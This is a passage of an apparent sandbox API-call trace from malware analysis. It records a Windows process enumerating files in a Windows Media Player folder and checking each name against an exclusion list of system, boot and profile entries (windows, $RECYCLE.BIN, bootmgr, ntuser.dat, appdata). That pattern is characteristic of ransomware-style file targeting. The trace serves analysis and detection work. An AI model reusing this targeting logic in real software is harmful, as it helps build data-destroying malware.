hHeap=0x4f90000) returned 1 [0107.252] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b88470, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x52b88470, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4623b740, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x68200, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="WMPDMCCore.dll", cAlternateFileName="")) returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2=".") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="..") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="...") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="windows") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="$RECYCLE.BIN") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="rsa") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="NTDETECT.COM") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="ntldr") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="MSDOS.SYS") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="IO.SYS") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="boot.ini") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="boot.ini") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="AUTOEXEC.BAT") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="ntuser.dat") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="desktop.ini") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="CONFIG.SYS") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="RECYCLER") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="BOOTSECT.BAK") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="bootmgr") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="programdata") returned 1 [0107.252] lstrcmpiW (lpString1="WMPDMCCore.dll", lpString2="appdata") returned 1 [0107.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMCCore.dll", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0107.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMCCore.dll", cchWideChar=14, lpMultiByteStr=0x653f590, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPDMCCore.dll", lpUsedDefaultChar=0x0) returned 14 [0107.252] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMCCore.dll", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0107.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMCCore.dll", cchWideChar=14, lpMultiByteStr=0x653f590, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPDMCCore.dll", lpUsedDefaultChar=0x0) returned 14 [0107.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMCCore.dll", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0107.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMCCore.dll", cchWideChar=14, lpMultiByteStr=0x653f5e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPDMCCore.dll", lpUsedDefaultChar=0x0) returned 14 [0107.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMCCore.dll", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0107.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMCCore.dll", cchWideChar=14, lpMultiByteStr=0x653f618, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPDMCCore.dll", lpUsedDefaultChar=0x0) returned 14 [0107.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0107.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0107.253] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b1930c1, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x5b1930c1, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfdb75f20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="wmpenc.exe", cAlternateFileName="")) returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="..") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="...") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="windows") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="$RECYCLE.BIN") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="rsa") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="NTDETECT.COM") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="ntldr") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="MSDOS.SYS") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="IO.SYS") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="boot.ini") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="boot.ini") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="AUTOEXEC.BAT") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="ntuser.dat") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="desktop.ini") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="CONFIG.SYS") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="RECYCLER") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="BOOTSECT.BAK") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="bootmgr") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="programdata") returned 1 [0107.253] lstrcmpiW (lpString1="wmpenc.exe", lpString2="appdata") returned 1 [0107.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpenc.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0107.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpenc.exe", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpenc.exe", lpUsedDefaultChar=0x0) returned 10 [0107.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpenc.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0107.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpenc.exe", cchWideChar=10, lpMultiByteStr=0x653f590, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpenc.exe", lpUsedDefaultChar=0x0) returned 10 [0107.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpenc.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0107.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpenc.exe", cchWideChar=10, lpMultiByteStr=0x653f5e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpenc.exe", lpUsedDefaultChar=0x0) returned 10 [0107.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpenc.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0107.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpenc.exe", cchWideChar=10, lpMultiByteStr=0x653f618, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpenc.exe", lpUsedDefaultChar=0x0) returned 10 [0107.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0107.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.254] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f318ba, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8f318ba, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8f318ba, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28e00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1 [0107.254] lstrcmpiW (lpString1="wmplayer.exe", lpString2=".") returned 1 [0107.254] lstrcmpiW (lpString1="wmplayer.exe", lpString2="..") returned 1 [0107.254] lstrcmpiW (lpString1="wmplayer.exe", lpString2="...") returned 1 [0107.254] lstrcmpiW (lpString1="wmplayer.exe", lpString2="windows") returned 1 [0107.254] lstrcmpiW (lpString1="wmplayer.exe", lpString2="$RECYCLE.BIN") returned 1 [0107.254] lstrcmpiW (lpString1="wmplayer.exe", lpString2="rsa") returned 1 [0107.254] lstrcmpiW (lpString1="wmplayer.exe", lpString2="NTDETECT.COM") returned 1 [0107.254] lstrcmpiW (lpString1="wmplayer.exe", lpString2="ntldr") returned 1 [0107.254] lstrcmpiW (lpString1="wmplayer.exe", lpString2="MSDOS.SYS") returned 1 [0107.254] lstrcmpiW (lpString1="wmplayer.exe", lpString2="IO.SYS") returned 1 [0107.254] lstrcmpiW (lpString1="wmplayer.exe", lpString2="boot.ini") returned 1 [0107.254] lstrcmpiW (lpString1="wmplayer.exe", lpString2="boot.ini") returned 1 [0107.254] lstrcmpiW (lpString1="wmplayer.exe", lpString2="AUTOEXEC.BAT") returned 1 [0107.254] lstrcmpiW (lpString1="wmplayer.exe", lpString2="ntuser.dat") returned 1 [0107.254] lstrcmpiW (lpString1="wmplayer.exe", lpString2="desktop.ini") returned 1 [0107.254] lstrcmpiW (lpString1="wmplayer.exe", lpString2="CONFIG.SYS") returned 1 [0107.254] lstrcmpiW (lpString1="wmplayer.exe", lpString2="RECYCLER") returned 1 [0107.254] lstrcmpiW (lpString1="wmplayer.exe", lpString2="BOOTSECT.BAK") returned 1 [0107.255] lstrcmpiW (lpString1="wmplayer.exe", lpString2="bootmgr") returned 1 [0107.255] lstrcmpiW (lpString1="wmplayer.exe", lpString2="programdata") returned 1 [0107.255] lstrcmpiW (lpString1="wmplayer.exe", lpString2="appdata") returned 1 [0107.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmplayer.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmplayer.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmplayer.exe", lpUsedDefaultChar=0x0) returned 12 [0107.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmplayer.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmplayer.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmplayer.exe", lpUsedDefaultChar=0x0) returned 12 [0107.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmplayer.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmplayer.exe", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmplayer.exe", lpUsedDefaultChar=0x0) returned 12 [0107.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmplayer.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmplayer.exe", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmplayer.exe", lpUsedDefaultChar=0x0) returned 12 [0107.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0107.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0107.255] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6431260b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6431260b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x462abc20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1 [0107.255] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2=".") returned 1 [0107.255] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="..") returned 1 [0107.255] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="...") returned 1 [0107.255] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="windows") returned 1 [0107.255] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="$RECYCLE.BIN") returned 1 [0107.255] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="rsa") returned 1 [0107.255] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="NTDETECT.COM") returned 1 [0107.255] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="ntldr") returned 1 [0107.255] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="MSDOS.SYS") returned 1 [0107.255] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="IO.SYS") returned 1 [0107.255] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="boot.ini") returned 1 [0107.255] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="boot.ini") returned 1 [0107.255] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="AUTOEXEC.BAT") returned 1 [0107.255] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="ntuser.dat") returned 1 [0107.256] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="desktop.ini") returned 1 [0107.256] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="CONFIG.SYS") returned 1 [0107.256] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="RECYCLER") returned 1 [0107.256] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="BOOTSECT.BAK") returned 1 [0107.256] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="bootmgr") returned 1 [0107.256] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="programdata") returned 1 [0107.256] lstrcmpiW (lpString1="WMPMediaSharing.dll", lpString2="appdata") returned 1 [0107.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0107.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPMediaSharing.dll", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0107.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPMediaSharing.dll", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPMediaSharing.dll", lpUsedDefaultChar=0x0) returned 19 [0107.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0107.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPMediaSharing.dll", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0107.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPMediaSharing.dll", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPMediaSharing.dll", lpUsedDefaultChar=0x0) returned 19 [0107.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0107.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0107.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0107.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPMediaSharing.dll", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0107.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPMediaSharing.dll", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPMediaSharing.dll", lpUsedDefaultChar=0x0) returned 19 [0107.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0107.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0107.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPMediaSharing.dll", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0107.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPMediaSharing.dll", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPMediaSharing.dll", lpUsedDefaultChar=0x0) returned 19 [0107.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0107.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94100 [0107.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.256] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b4545e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b4545e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0b6b5be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x174600, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="wmpnetwk.exe", cAlternateFileName="")) returned 1 [0107.256] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2=".") returned 1 [0107.256] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="..") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="...") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="windows") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="$RECYCLE.BIN") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="rsa") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="NTDETECT.COM") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="ntldr") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="MSDOS.SYS") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="IO.SYS") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="boot.ini") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="boot.ini") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="AUTOEXEC.BAT") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="ntuser.dat") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="desktop.ini") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="CONFIG.SYS") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="RECYCLER") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="BOOTSECT.BAK") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="bootmgr") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="programdata") returned 1 [0107.257] lstrcmpiW (lpString1="wmpnetwk.exe", lpString2="appdata") returned 1 [0107.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.257] WideCharToMultiByte (in: 